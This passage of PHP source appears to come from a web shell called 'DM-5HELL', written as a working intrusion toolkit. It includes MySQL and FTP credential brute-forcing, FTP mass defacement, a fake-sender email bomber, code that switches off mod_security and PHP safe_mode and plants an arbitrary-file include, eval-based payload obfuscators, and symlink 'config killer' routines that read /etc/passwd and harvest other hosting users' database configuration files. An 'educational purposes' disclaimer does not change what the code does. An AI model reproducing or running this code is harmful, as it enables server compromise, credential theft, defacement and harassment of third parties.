- $e=explode("\n",$_POST['usernames']);
- foreach($e as $value) {
- $k=explode(":",$value);
- $username.=$k['0']." ";
- }
- }elseif($_POST['type']=='simple') {
- $username=str_replace("\n",' ',$_POST['usernames']);
- }
- $a1=explode(" ",$username);
- $a2=explode("\n",$_POST['passwords']);
- $id2=count($a2);
- $ok=0;
- foreach($a1 as $user) {
- if($user!=='') {
- $user=trim($user);
- for($i=0; $i<=$id2; $i++) {
- $pass=trim($a2[$i]);
- if(@mysql_connect('localhost',$user,$pass)) {
- echo "[+] Username ( <b><font color=green>$user</font></b> ) Password ( <b><font color=green>$pass</font></b> ) [+]<br />";
- $ok++;
- }
- }
- }
- }
- echo "<hr><b>DAPAT <font color=green>$ok</font> Cpanel</b>";
- echo "<center><b><a href=".PHPSELF.">BACK</a>";
- exit;
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='safemodeoff')){
- simpan(".htaccess","<IfModule mod_security.c>\nSecFilterEngine Off\nSecFilterScanPOST Off\n</IfModule>");
- simpan("ini.php","<?php\necho ini_get(\"safe_mode\");\necho ini_get(\"open_basedir\");\ninclude(\$_GET[\"file\"]);\nini_restore(\"safe_mode\");\nini_restore(\"open_basedir\");\necho ini_get(\"safe_mode\");\necho ini_get(\"open_basedir\");\ninclude(\$_GET[\"ss\"]);\n?>");
- echo"<center><br/><br/><b><span class='b7'>O=:[ BYPASS SAFE MODE ]:=O</span></b><br/><br/><span class='b9'>Generate htaccess & ini.php & php.ini Successfully :)</span><br/><br/><br/></center>";
- simpan('php.ini',"safe_mode=OFF\nsafe_mode_gid=OFF\ndisable_functions=NONE\ndisable_classes=NONE\nopen_basedir=OFF\nsuhosin.executor.func.blacklist=NONE");
- }elseif(isset($_GET['x'])&&($_GET['x']=='arabportal')){
- echo'<form action="?dm='.$pwd.'&x=arabportal" method="post">';
- echo "<center><br/><br/><b><span class='b7'>O=:[ BRUTEFORCE ARAB PORTAL ]:=O</span></b><br/><br/></center><form method='POST'>
- <p align='center' dir='ltr'> <input type='text' value='http://target.com/arabportal/' name='target' size='45'>
- <input type='text' value='admin' name='username'>
- <br><input type='submit' value='Start Brute'>
- </p>";
- $site=$_POST['target']."/admin/";
- $username=$_POST['username'];
- $passwords=array('123456','123654','123123','112233','123321','102030','123451','123456789','654321','654123','123qwe','qwerty','azerty','123450','123412','121314','132132','132123','123132','123012');
- foreach($passwords as $password){
- brute($site,$username,$password);
- }
- echo "</form>";
- }elseif(isset($_GET['x'])&&($_GET['x']=='about')){
- echo'<form action="?dm='.$pwd.'&x=about" method="post">';
- echo "<div align='center'><br><br>
- <table class='tabnet' style='padding:0 1px; style=border-collapse: collapse'>
- <tr><th align='center'><b>DISCLAIMER</b></th></tr>
- <tr><td align='left'>THIS TOOL WAS WRITTEN FOR EDUCATIONAL PURPOSES.</td></tr>
- <tr><td align='left'>ONLY USE THIS TOOL ON WEBSITES YOU ARE ALLOWED TO TEST.</td></tr>
- <tr><td align='left'>IF YOU DON'T AGREE WITH WHAT I SAID, PLEASE DON'T USE THIS TOOL.</td></tr>
- <tr><td align='left'>THE AUTHOR CANNOT AND WILL NOT IN ANY WAY LIABLE FOR ANY LOSS OR DAMAGE ARISING WITH THE USE OF THIS TOOL.</td></tr>
- <tr><td align='left'>USE IT UNDER YOUR OWN RISK !!!!!!</td></tr>
- <tr><td align='left'>THANKS...</td></tr>
- </table><br><br>
- <div align='center'><br><br>
- <table bordercolor='#444' class='tabnet' style='padding:0 1px; style=border-collapse: collapse'>
- <tr><th align='center'><b>ABOUT DM-5HELL</b></th></tr><tr><td>
- <table border=1 style='border-collapse: collapse'>
- <tr><td>Author</td><td>Andripzf</td></tr>
- <tr><td>Design</td><td>Andripzf</td></tr>
- <tr><td>Adding Exploit</td><td>Andripzf</td></tr>
- <tr><td>Basic Shell</td><td>b374k m1n1 PHP Shell</td></tr><tr>
- <td>Bypass Symlink</td><td>Thanks to Mauritania, Mr.Alasaek,Lagripe-Dz, PakCyber, BD Cyber Army</td></tr><tr>
- <td>Whmcs Exploit</td><td>Thanks to Rab3oun, g00n, theMaster,Lagripe-Dz, X3group</td></tr>
- <tr><td>WP Exploit</td><td>Thanks to XTTG, Lagripe-Dz</td></tr>
- <tr><td>Joomla Exploit</td><td>Thanks to XTTG, Lagripe-Dz</td></tr>
- <tr><td>VB Exploit</td><td>Thanks to Tryag</td></tr>
- <tr><td>Config Killer Exploit</td><td>Thanks to Indishell, Anonghost, Lagripe-Dz, Indrajith</td></tr>
- <tr><td>Security Bypass Exploit</td><td>Thanks to Mauritania, Lagripe-Dz </td></tr>
- <tr><td>Greetz To</td><td>Exploit-DB, 1337 0day, All Moeslim Hackers And Coders In The World</td></tr>
- </table></td></tr>
- </table>";
- }elseif(isset($_GET['x'])&&($_GET['x']=='coding')){
- echo'<form action="?dm='.$pwd.'&x=coding" method="post">';
- $meth_d=$_POST['typed'];
- $typ_d=$_POST['typenc'];
- $c_ntent=$_POST['php_content'];
- $c_ntent=$c_ntent;
- switch($meth_d) {
- case "Encode":
- switch($typ_d) {
- case "BASE64":
- $res_t=chunk_split(base64_encode(trim(stripslashes($c_ntent),'<?php,?>')));
- $res_t="<?php eval(gzinflate(base64_decode(\"$res_t\"))); ?>";
- break;
- case "GZINFLATE":
- $res_t=base64_encode(gzdeflate(trim(stripslashes($c_ntent.' '), '<?php, ?>'), 9));
- $res_t="<?php eval(gzinflate(base64_decode(\"$res_t\"))); ?>";
- break;
- case "GZUNCOMPRESS":
- $res_t=base64_encode(gzcompress(trim(stripslashes($c_ntent.' '), '<?php, ?>'), 9));
- $res_t="<?php eval(gzuncompress(base64_decode(\"$res_t\"))); ?>";
- break;
- case "STR_ROT13":
- $res_t=trim(stripslashes($c_ntent.' '), '<?php, ?>');
- $res_t=base64_encode(str_rot13($res_t));
- $res_t="<?php eval(str_rot13(base64_decode(\"$res_t\"))); ?>";
- break;
- }
- break;
- case "Decode":
- switch($typ_d) {
- case "BASE64":
- $res_t=base64_decode($c_ntent);
- break;
- case "GZINFLATE":
- $res_t=gzinflate(base64_decode($c_ntent));
- break;
- case "GZUNCOMPRESS":
- $res_t=gzuncompress(base64_decode($c_ntent));
- break;
- case "STR_ROT13":
- $res_t=str_rot13(base64_decode($c_ntent));
- break;
- }
- break;
- }
- echo"<center><table class='cmdbox' style='border-collapse: collapse'>
- <tr><td align='center'><b><span class='b7'>O=:[ ENCODE & DECODE ]:=O</span></b></tr></td>
- <tr><td align='center'>Method: <select name='typed'><option value='Encode'>Encode</option><option value='Decode'>Decode</option></select></td></tr>
- <tr><td align='center'>TYPE: <select name='typenc'><option value='BASE64'>Base64</option><option value='GZINFLATE'>Gzinflate</option><option value='GZUNCOMPRESS'>Gzuncompress</option><option value='STR_ROT13'>Str Rot13</option></tr></td>
- <tr><td align='center'>
- <textarea spellcheck='false' name='php_content' onclick='this.focus();this.select();'>".htmlentities($c_ntent)."</textarea></td></tr>
- <tr><td align='center'><input type='submit'></td></tr>";
- if($res_t){
- echo"<tr><td align='center'><textarea spellcheck='false' onclick='this.focus();this.select();'>".htmlspecialchars($res_t)."</textarea></td></tr>";
- }
- echo"</table></center></form>";
- }elseif(isset($_GET['x'])&&($_GET['x']=='cp2')){
- echo'<form action="?dm='.$pwd.'&x=cp2" method="post">
- <br/><br/><center><b><span class="b7">O=:[ FTP MASS DEFACE ]:=O</span></b><br/><br/>
- <form method="post">
- <center>
- IP Server:<input type="text" name="ip" value="127.0.0.1" />
- <p> </p>
- User\'s List:<br>
- <textarea rows="10" style="width:35%;" name="users" value="The Users List"></textarea>
- <p> </p>
- Password\'s List:<br>
- <textarea rows="10" style="width:35%;" name="passwords" value="The Password List"></textarea>
- <p> </p>
- Index File Name:<input type="text" name="index_name" value="index.php" /><br>
- <p> </p>
- Index File Link:<input type="text" name="index_link" value="index.txt" /><br>
- <p> </p>
- <input type="submit" name="forest" value="Mass Deface it" /><br><br>
- </form></center>';
- if(isset($_POST['forest'])) {
- $ip=trim($_POST['ip']);
- $users=explode("\n",$_POST["users"]);
- $passwords=explode("\n",$_POST["passwords"]);
- $index_name=trim($_POST['index_name']);
- $index_link=trim($_POST['index_link']);
- foreach($users as $user) {
- foreach($passwords as $pass) {
- $connect_ip=ftp_connect($ip)or die("Couldn't Connect To $ip");
- if(@ftp_login($connect_ip, trim($user), trim($pass))) {
- echo "<br>Connected To --> $ip@$user\n";
- @ftp_delete($connect_ip,$index_name);
- $deface=ftp_put($connect_ip, "/public_html/".$index_name,$index_link, FTP_ASCII);
- if($deface) {
- echo "<br><font color=green> $user --> Deface Success!!</font>";
- break;
- }else{
- echo "<br><font color=red> $user --> Error Defacing!!</font>";
- }
- }else{
- echo "<br><font color=red>Couldn't Connect To --> $ip@$user --> $pass</font>\n";
- }
- }
- }
- echo "<br><font size=5> ! Mass Defacing Was Done ! </font>";
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='sscan')){
- echo"<form action=\"?dm=$pwd&x=sscan\" method=\"post\">
- <br><br><center> <b><span class='b7'>O=:[ SHELL SCANNER ]:=O</span></b><br/><br/>
- <table border='1' cellspacing='3' style='border:1px solid #7d7676;border-collapse: collapse'>
- <tr><td align=center colspan=3 style='color:red;border:1px solid #7d7676;'>URL TARGET:<input type='text' size='40' name='rem_web' value='http://'></td></tr>
- <tr><td align=center colspan=3 style='color:red;border:1px solid #7d7676;'>INPUT NAMA FILE / SHELL</tr></td>
- <tr><td align=center colspan=3 style='border:1px solid #7d7676;'>
- <textarea spellcheck='false' class='textarea_edit' name='tryzzz'>WSO.php\ndz.php\ncpanelcracker.php\nblackshadow.php\nsym.php\nftpcracker.php\ncpanel.php\ncpn.php\nsql.php\nmysql.php\nmadspot.php\nitsecteam_shell.php\nb374k.php\nmadsopot.php\nindishell.php\nCgishell.pl\nkiller.php\nchangeall.php\n2.php\nSh3ll.php\ndz0.php\ndam.php\nuser.php\ndom.php\nwhmcs.php\nr00t.php\nc99.php\ngaza.php\nq.php\n1.php\nd0mains.php\nmadspotshell.php\nSym.php\nc22.php\nc100.php\nCpanel.php\nzone-h.php\ncp.php\nL3b.php\nd.php\nadmin1.php\nupload.php\nup.php\nuploads.php\nsa.php\nr57.php\nshell.php\nsa.php</textarea>
- </td></tr>
- <tr><td align=center colspan=3><input type='submit' name='lol' value=' SCAN ' class='input_big' /></td></tr></form>";
- $rtr=array();
- $webz=$_POST['rem_web'];
- if(isset($_POST['lol'])) {
- $uri_in=$_POST['tryzzz'];
- $r_xuri=explode("\n",$uri_in);
- for($i=0; $i<count($r_xuri); $i++) {
- if($r_xuri[$i]) {
- $urlzzx=$webz . trim($r_xuri[$i]);
- $status_code=is_url_exist($urlzzx);
- if($status_code==true) {
- echo "<tr><td style='text-align:left;color:lime;border:1px solid #7d7676;'>Checking </td><td style='color:lime;border:1px solid #7d7676;'><a style='color:lime;' target='_blank' href='$urlzzx'>$urlzzx</a></td>\n";
- echo "<td style='text-align:left;color:lime;border:1px solid #7d7676;'> Found....</td></tr>\n";
- }else{
- echo "<tr><td style='text-align:left;color:red;border:1px solid #7d7676;'>Checking </td><td style='color:red;border:1px solid #7d7676;'>$urlzzx</td>\n";
- echo "<td style='text-align:left;color:red;border:1px solid #7d7676;'>Not Found...</td></tr>\n";
- }
- }
- }
- }
- echo "</table>\n";
- }elseif(isset($_GET['x'])&&($_GET['x']=='bomail')){
- if(isset($_POST['bom'])) {
- $dm=$_POST['dm'];
- $wew=$_POST['wew'];
- $wow=$_POST['wow'];
- $sodok=$_POST['sodok'];
- $anu=$_POST['anu'];
- $deathnote=$_POST['deathnote'];
- if(empty($wow)){
- echo"<script>alert('email korbannya mana ?');</script>";
- }else{
- if($dm=="dm"){
- for($i=0; $i<$sodok; $i++){
- $a=$wew;
- $janda=$anu.$i;
- if(mail($wow,$janda,$deathnote.str_repeat(" ",0*$xdm),"From: $a <$a>\r\n")){
- echo "<script>alert('Bom mail ".$sodok." sukses dikirim ke ".$wow." ayo bom lagi');</script>";
- }else{
- echo"<script>alert('Email gagal di kirim');</script>";
- }
- }
- }
- }
- }
- echo'<form action="?y='.$pwd.'&x=bomail" method="post">
- <center>
- <br>
- <b><span class=\'b7\'> --=|[+] BOMB FAKE EMAIL [+]|=--</span></b></center>
- <input type=hidden value="dm" name="dm"><br />
- <center><span style="color:#00FF00">-:[ X-EMAIL ]:-</span><br/>
- <span style="color:white">**Isi Dengan Nama Email Palsu**<br/>
- <input type=text name=wew value="'.$_SERVER["SERVER_ADMIN"].'"></center>
- <br/>
- <center><span style="color:#00FF00">-:[ EMAIL TUJUAN ]:-</span><br/>
- <span style="color:white">**Isi Email Target Bomb Email**</span><br/>
- <input type=text name=wow value="'.$wow.'"></center>
- <br/>
- <center><span style="color:#00FF00">-:[ SUBJECT ]:-</span> <br/>
- <span style="color:white">**Isi Nama Judul Pesan**</span><br/>
- <input type=text name=anu value="'.$anu.'>"></center>
- <br/>
- <center><span style="color:#00FF00">-:[ JUMLAH KIRIM ]:-</span><br/>
- <span style="color:white">**Isi Nominal Antara 0 s/d 100**</span><br/>
- <input type=text name=sodok value="'.$sodok.'"></center>
- <br/>
- <center><span style="color:#00FF00">-:PESAN ]:-</span><br/>
- <span style="color:white">**Tulis Pesan Kamu**</span><br/>
- <textarea name="deathnote">'.htmlentities($deathnote).'</textarea><br/>
- <p>
- <input type="submit" name="bom"></center></form>';
- }elseif(isset($_GET['x'])&&($_GET['x']=='plesk')){
- echo'<form action="?dm='.$pwd.'&x=plesk" method="post">';
- mkdir('plesk',0777);
- $hta="Options all\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php";
- $htaccess=@fopen('plesk/.htaccess','w');
- fwrite($htaccess,$hta);
- symlink("/","plesk/dm.txt");
- }elseif(isset($_GET['x'])&&($_GET['x']=='apache')){
- echo'<form action="?dm='.$pwd.'>&x=apache" method="post">
- <body bgcolor=black><center><br/><br/> <img src="http://silk.apana.org.au/graphics/apache_logo.gif">
- <form method=post><br/><br/>
- <b><span class="b7">O=:[ APACHE TOOLS ]:=O</span></b><br/><br/>
- <p><input type=submit name="usre" value="EXTRACT USER" /></form><br/><br/><br/>';
- if(isset($_POST['usre'])){
- echo'<form method=post>
- <textarea name=user>';
- $users=file("/etc/passwd");
- foreach($users as $user){
- $str=explode(":",$user);
- echo $str[0]."\n";
- }
- echo'</textarea><br><br>
- <input type=submit name=su value="EXECUTE" /></form><br/>';
- }
- if(isset($_POST['su'])){
- mkdir('dm',0777);
- $rr="Options all\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddType text/plain .html\nAddType text/plain .bak\nAddType text/plain .old\nAddHandler server-parsed .php\nAddHandler txt .html\nRequire None\nSatisfy Any";
- $g=fopen('dm/.htaccess','w');
- fwrite($g,$rr);
- $dm=symlink("/","dm/dm.txt");
- $rt="<a href=dm/dm.txt><b><span class='b11'>[ SYMLINK ]</span></b></a>";
- echo "[~] ";
- echo "$rt";
- $dir=mkdir('DM',0777);
- $r="Options all\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddType text/plain .html\nAddType text/plain .bak\nAddType text/plain .old\nAddHandler server-parsed .php\nAddHandler txt .html\nRequire None\nSatisfy Any";
- $f=fopen('DM/.htaccess','w');
- fwrite($f,$r);
- $consym="<a href=DM/><b><span class='b11'>[ CONFIG KILLER ]</span></b> </a>";
- echo " [~] ";
- echo "$consym";
- echo " [~]";
- $usr=explode("\n",$_POST['user']);
- $configuration=array("aksi.php","aksi.php.old","aksi.php.bak","conf.php","conf.php.old","conf.php.bak","conf_global.php","conf_global.php.old","conf_global.php.bak","config.php","config.php.old","config.php.bak","configuration.php","configuration.php.old","configuration.php.bak","conn.php","conn.php.old","conn.php.bak","connect.php","connect.php.old","connect.php.bak","connection.php","connection.php.old","connection.php.bak","db.php","db.php.old","db.php.bak","database.php","database.php.old","database.php.bak","inc.php","inc.php.old","inc.php.bak","koneksi.php","koneksi.php.old","koneksi.php.bak","mysql.php","myqsl.php.old","mysql.php.bak","setting.php","setting.php.old","setting.php.bak","Settings.php","Settings.php.old","Settings.php.bak","sql.php","sql.php.old","sql.php.bak");
- foreach($usr as $uss){
- $us=trim($uss);
- foreach($configuration as $c){
- $rs="/home/".$us."/public_html/".$c;
- $r="DM/".$us."~".$c;
- symlink($rs,$r);
- }
- }
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='hostgator')){
- echo'<form action="?dm='.$pwd.'&x=hostgator" method="post">
- <body bgcolor=black><center><br/><br/><img src="http://partnernoc.cpanel.net/logo/822-4021-logo.png">
- <form method=post><br/><br/>
- <b><span class="b7">O=:[ HOSTGATOR TOOLS ]:=O</span></b><br/><br/>
- <p><input type=submit name="usre" value="EXTRACT USER" /></form><br/><br/><br/>';
- if(isset($_POST['usre'])){
- echo'<form method="post">
- <textarea name="user">';
- $users=file("/etc/passwd");
- foreach($users as $user){
- $str=explode(":",$user);
- echo $str[0]."\n";
- }
- echo'</textarea><br><br>
- <input type=submit name=su value="./EXECUTE" /></form><br/>';
- }
- if(isset($_POST['su'])){
- mkdir('hostgator',0777);
- $r="Options +FollowSymLinks \n DirectoryIndex Sux.html \n Options +Indexes \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain.html ";
- $g=fopen('hostgator/.htaccess','w');
- fwrite($g,$rr);
- $dm=symlink("/","hostgator/dm.ini");
- $rt="<a href=hostgator/dm.ini><b><span class='b11'>[ SYMLINK ]</span></b></a>";
- echo "[~] ";
- echo "$rt";
- $dir=mkdir('HOSTGATOR',0777);
- $rr="Safe_mode = OFF \n Disable_functions = NONE \n Open_basedir = OFF";
- $f=fopen('HOSTGATOR/php.ini','w');
- fwrite($f,$rr);
- $rrr="Options +FollowSymLinks \n DirectoryIndex Sux.html \n Options +Indexes \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain.html ";
- $ff=fopen('HOSTGATOR/.htaccess','w');
- fwrite($ff,$rrr);
- $consym="<a href=HOSTGATOR/><span class='b11'>[ CONFIG KILLER ]</span></b></a>";
- echo " [~] ";
- echo "$consym";
- echo " [~]";
- $usr=explode("\n",$_POST['user']);
- $configuration=array("wp-config.ini","wordpress/wp-config.ini","configuration.ini","blog/wp-config.ini","joomla/configuration.ini","vb/includes/config.ini","includes/config.ini","conf_global.ini","inc/config.ini","config.ini","Settings.ini","sites/default/settings.ini","whm/configuration.ini","whmcs/configuration.ini","support/configuration.ini","whmc/WHM/configuration.ini","whm/WHMCS/configuration.ini","whm/whmcs/configuration.ini","support/configuration.ini","clients/configuration.ini","client/configuration.ini","clientes/configuration.ini","cliente/configuration.ini","clientsupport/configuration.ini","billing/configuration.ini","admin/config.ini");
- foreach($usr as $uss){
- $us=trim($uss);
- foreach($configuration as $c){
- $rs="/home/".$us."/public_html/".$c;
- $r="HOSTGATOR/".$us."~".$c;
- symlink($rs,$r);
- }
- }
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='limehost')){
- echo'<form action="?dm=<?php echo $pwd; ?>&x=limehost" method="post">
- <body bgcolor=black>
- <center><br/><br/>
- <img src="http://www.ananova.com/wp-content/uploads/2013/04/limehost-review-by-toptenhostings.jpg">
- <form method=post><br/><br/><b><span class="b7">O=:[ BLUEHOST TOOLS ]:=O</span></b><br/><br/>
- <p><input type=submit name="usre" value="EXTRACT USER" /></form><br/><br/><br/>';
- if(isset($_POST['usre'])){
- echo'<form method="post">
- <textarea name="user">';
- $users=file("/etc/passwd");
- foreach($users as $user){
- $str=explode(":",$user);
- echo $str[0]."\n";
- }
- echo'</textarea><br><br>
- <input type=submit name=su value="./EXECUTE" /></form><br/>';
- }
- echo "<font color=white size=2 face=\"comic sans ms\">";
- if(isset($_POST['su'])){
- mkdir('limehost',0777);
- $rr="AllowOverride All None \nDirectoryIndex index.html index.htm index.php index.php4 index.php5 \n AddType application/octet-stream .php \nAddHandler server-parsed .php \nAddhandler cgi-script .asp \nAddType ini .php \nAddHandler ini .php";
- $g=fopen('limehost/.htaccess','w');
- fwrite($g,$rr);
- $dm=symlink("/","limehost/dm.ini");
- $rt="<a href=limehost/dm.ini><b><span class='b11'>[ SYMLINK ]</span></b></a>";
- echo "[~] ";
- echo "$rt";
- $dir=mkdir('BLUEHOST',0777);
- $r="Options all \n DirectoryIndex Sux.html \nAddType text/plain .php \nAddHandler server-parsed .php \nAddType text/plain .html \nAddHandler txt .html \nRequire None \nSatisfy Any";
- $f=fopen('BLUEHOST/.htaccess','w');
- fwrite($f,$r);
- $consym="<a href=BLUEHOST/><span class='b11'>[ CONFIG KILLER ]</span></b></a>";
- echo " [~] ";
- echo "$consym";
- echo " [~]";
- $usr=explode("\n",$_POST['user']);
- $configuration=array("wp-config.ini","wordpress/wp-config.ini","configuration.ini","blog/wp-config.ini","joomla/configuration.ini","vb/includes/config.ini","includes/config.ini","conf_global.ini","inc/config.ini","config.ini","Settings.ini","sites/default/settings.ini","whm/configuration.ini","whmcs/configuration.ini","support/configuration.ini","whmc/WHM/configuration.ini","whm/WHMCS/configuration.ini","whm/whmcs/configuration.ini","support/configuration.ini","clients/configuration.ini","client/configuration.ini","clientes/configuration.ini","cliente/configuration.ini","clientsupport/configuration.ini","billing/configuration.ini","admin/config.ini");
- foreach($usr as $uss){
- $us=trim($uss);
- foreach($configuration as $c){
- $rs="/home/".$us."/public_html/".$c;
- $rs="/home1/".$us."/public_html/".$c;
- $rs="/home2/".$us."/public_html/".$c;
- $rs="/home3/".$us."/public_html/".$c;
- $rs="/home4/".$us."/public_html/".$c;
- $rs="/home5/".$us."/public_html/".$c;
- $rs="/home6/".$us."/public_html/".$c;
- $rs="/home7/".$us."/public_html/".$c;
- $rs="/home8/".$us."/public_html/".$c;
- $r="BLUEHOST/".$us."~".$c;
- symlink($rs,$r);
- }
- }
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='ovh')){
- echo'<form action="?dm='.$pwd.'&x=ovh" method="post">
- <body bgcolor=black><center><br/><br/><img src="http://alsace-international.eu/IMG/LOGOS/Entreprises/OVH_Logo.gif">
- <form method=post><br/><br/>
- <b><span class="b7">O=:[ OVH TOOLS ]:=O</span></b><br/><br/>
- <p><input type=submit name="usre" value="EXTRACT USER" /></form><br/><br/><br/>';
- if(isset($_POST['usre'])){
- echo'<form method="post"><textarea name="user">';
- $users=file("/etc/passwd");
- foreach($users as $user){
- $str=explode(":",$user);
- echo $str[0]."\n";
- }
- echo'</textarea><br><br>
- <input type=submit name=su value="./EXECUTE" /></form><br/>';
- }
- if(isset($_POST['su'])){
- mkdir('ovh',0777);
- $r="AllowOverride All None\nDirectoryIndex index.html index.htm index.php index.php4 index.php5 \n AddType application/octet-stream .php \nAddHandler server-parsed .php \nAddhandler cgi-script .asp \nAddType ini .php \nAddHandler ini .php";
- $g=fopen('ovh/.htaccess','w');
- fwrite($g,$rr);
- $dm=symlink("/","ovh/dm.ini");
- $rt="<a href=ovh/dm.ini><b><span class='b11'>[ SYMLINK ]</span></b></a>";
- echo "[~] ";
- echo "$rt";
- $dir=mkdir('OVH',0777);
- $rr="Safe_mode = OFF \n Disable_functions = NONE \n Open_basedir = OFF";
- $f=fopen('OVH/php.ini','w');
- fwrite($f,$rr);
- $rrr="AllowOverride All None \nDirectoryIndex index.html index.htm index.php index.php4 index.php5 \n AddType application/octet-stream .php \nAddHandler server-parsed .php \nAddHandler cgi-script .asp \nAddType ini .php \nAddHandler ini .php";
- $ff=fopen('OVH/.htaccess','w');
- fwrite($ff,$rrr);
- $consym="<a href=OVH/><span class='b11'>[ CONFIG KILLER ]</span></b></a>";
- echo " [~] ";
- echo "$consym";
- echo " [~]";
- $usr=explode("\n",$_POST['user']);
- $configuration=array("wp-config.ini","wordpress/wp-config.ini","configuration.ini","blog/wp-config.ini","joomla/configuration.ini","vb/includes/config.ini","includes/config.ini","conf_global.ini","inc/config.ini","config.ini","Settings.ini","sites/default/settings.ini","whm/configuration.ini","whmcs/configuration.ini","support/configuration.ini","whmc/WHM/configuration.ini","whm/WHMCS/configuration.ini","whm/whmcs/configuration.ini","support/configuration.ini","clients/configuration.ini","client/configuration.ini","clientes/configuration.ini","cliente/configuration.ini","clientsupport/configuration.ini","billing/configuration.ini","admin/config.ini");
- foreach($usr as $uss){
- $us=trim($uss);
- foreach($configuration as $c){
- $rs="/homez.0/".$us."/www/".$c;
- $rs="/homez.1/".$us."/www/".$c;
- $rs="/homez.2/".$us."/www/".$c;
- $rs="/homez.3/".$us."/www/".$c;
- $rs="/homez.4/".$us."/www/".$c;
- $rs="/homez.5/".$us."/www/".$c;
- $rs="/homez.6/".$us."/www/".$c;
- $rs="/homez.7/".$us."/www/".$c;
- $rs="/homez.8/".$us."/www/".$c;
- $rs="/homez.9/".$us."/www/".$c;
- $rs="/homez.10/".$us."/www/".$c;
- $rs="/homez.11/".$us."/www/".$c;
- $rs="/homez.12/".$us."/www/".$c;
- $rs="/homez.13/".$us."/www/".$c;
- $rs="/homez.14/".$us."/www/".$c;
- $rs="/homez.15/".$us."/www/".$c;
- $rs="/homez.16/".$us."/www/".$c;
- $rs="/homez.17/".$us."/www/".$c;
- $rs="/homez.18/".$us."/www/".$c;
- $rs="/homez.19/".$us."/www/".$c;
- $rs="/homez.20/".$us."/www/".$c;
- $rs="/homez.21/".$us."/www/".$c;
- $rs="/homez.22/".$us."/www/".$c;
- $rs="/homez.23/".$us."/www/".$c;
- $rs="/homez.24/".$us."/www/".$c;
- $rs="/homez.25/".$us."/www/".$c;
- $rs="/homez.26/".$us."/www/".$c;
- $rs="/homez.27/".$us."/www/".$c;
- $rs="/homez.28/".$us."/www/".$c;
- $rs="/homez.29/".$us."/www/".$c;
- $rs="/homez.30/".$us."/www/".$c;
- $rs="/homez.31/".$us."/www/".$c;
- $rs="/homez.32/".$us."/www/".$c;
- $rs="/homez.33/".$us."/www/".$c;
- $rs="/homez.34/".$us."/www/".$c;
- $rs="/homez.35/".$us."/www/".$c;
- $rs="/homez.36/".$us."/www/".$c;
- $rs="/homez.37/".$us."/www/".$c;
- $rs="/homez.38/".$us."/www/".$c;
- $rs="/homez.39/".$us."/www/".$c;
- $rs="/homez.40/".$us."/www/".$c;
- $rs="/homez.41/".$us."/www/".$c;
- $rs="/homez.42/".$us."/www/".$c;
- $rs="/homez.43/".$us."/www/".$c;
- $rs="/homez.44/".$us."/www/".$c;
- $rs="/homez.45/".$us."/www/".$c;
- $rs="/homez.46/".$us."/www/".$c;
- $rs="/homez.47/".$us."/www/".$c;
- $rs="/homez.48/".$us."/www/".$c;
- $rs="/homez.49/".$us."/www/".$c;
- $rs="/homez.50/".$us."/www/".$c;
- $rs="/homez.51/".$us."/www/".$c;
- $rs="/homez.52/".$us."/www/".$c;
- $rs="/homez.53/".$us."/www/".$c;
- $rs="/homez.54/".$us."/www/".$c;
- $rs="/homez.55/".$us."/www/".$c;
- $rs="/homez.56/".$us."/www/".$c;
- $rs="/homez.57/".$us."/www/".$c;
- $rs="/homez.58/".$us."/www/".$c;
- $rs="/homez.59/".$us."/www/".$c;
- $rs="/homez.60/".$us."/www/".$c;
- $rs="/homez.61/".$us."/www/".$c;
- $rs="/homez.62/".$us."/www/".$c;
- $rs="/homez.63/".$us."/www/".$c;
- $rs="/homez.64/".$us."/www/".$c;
- $rs="/homez.65/".$us."/www/".$c;
- $rs="/homez.66/".$us."/www/".$c;
- $rs="/homez.67/".$us."/www/".$c;
- $rs="/homez.68/".$us."/www/".$c;
- $rs="/homez.69/".$us."/www/".$c;
- $rs="/homez.70/".$us."/www/".$c;
- $rs="/homez.71/".$us."/www/".$c;
- $rs="/homez.72/".$us."/www/".$c;
- $rs="/homez.73/".$us."/www/".$c;
- $rs="/homez.74/".$us."/www/".$c;
- $rs="/homez.75/".$us."/www/".$c;
- $rs="/homez.76/".$us."/www/".$c;
- $rs="/homez.77/".$us."/www/".$c;
- $rs="/homez.78/".$us."/www/".$c;
- $rs="/homez.79/".$us."/www/".$c;
- $rs="/homez.80/".$us."/www/".$c;
- $rs="/homez.81/".$us."/www/".$c;
- $rs="/homez.82/".$us."/www/".$c;
- $rs="/homez.83/".$us."/www/".$c;
- $rs="/homez.84/".$us."/www/".$c;
- $rs="/homez.85/".$us."/www/".$c;
- $rs="/homez.86/".$us."/www/".$c;
- $rs="/homez.87/".$us."/www/".$c;
- $rs="/homez.88/".$us."/www/".$c;
- $rs="/homez.89/".$us."/www/".$c;
- $rs="/homez.100/".$us."/www/".$c;
- $rs="/homez.101/".$us."/www/".$c;
- $rs="/homez.102/".$us."/www/".$c;
- $rs="/homez.103/".$us."/www/".$c;
- $rs="/homez.104/".$us."/www/".$c;
- $rs="/homez.105/".$us."/www/".$c;
- $rs="/homez.106/".$us."/www/".$c;
- $rs="/homez.107/".$us."/www/".$c;
- $rs="/homez.108/".$us."/www/".$c;
- $rs="/homez.109/".$us."/www/".$c;
- $rs="/homez.110/".$us."/www/".$c;
- $rs="/homez.111/".$us."/www/".$c;
- $rs="/homez.112/".$us."/www/".$c;
- $rs="/homez.113/".$us."/www/".$c;
- $rs="/homez.114/".$us."/www/".$c;
- $rs="/homez.115/".$us."/www/".$c;
- $rs="/homez.116/".$us."/www/".$c;
- $rs="/homez.117/".$us."/www/".$c;
- $rs="/homez.118/".$us."/www/".$c;
- $rs="/homez.119/".$us."/www/".$c;
- $rs="/homez.120/".$us."/www/".$c;
- $rs="/homez.121/".$us."/www/".$c;
- $rs="/homez.122/".$us."/www/".$c;
- $rs="/homez.123/".$us."/www/".$c;
- $rs="/homez.124/".$us."/www/".$c;
- $rs="/homez.125/".$us."/www/".$c;
- $rs="/homez.126/".$us."/www/".$c;
- $rs="/homez.127/".$us."/www/".$c;
- $rs="/homez.128/".$us."/www/".$c;
- $rs="/homez.129/".$us."/www/".$c;
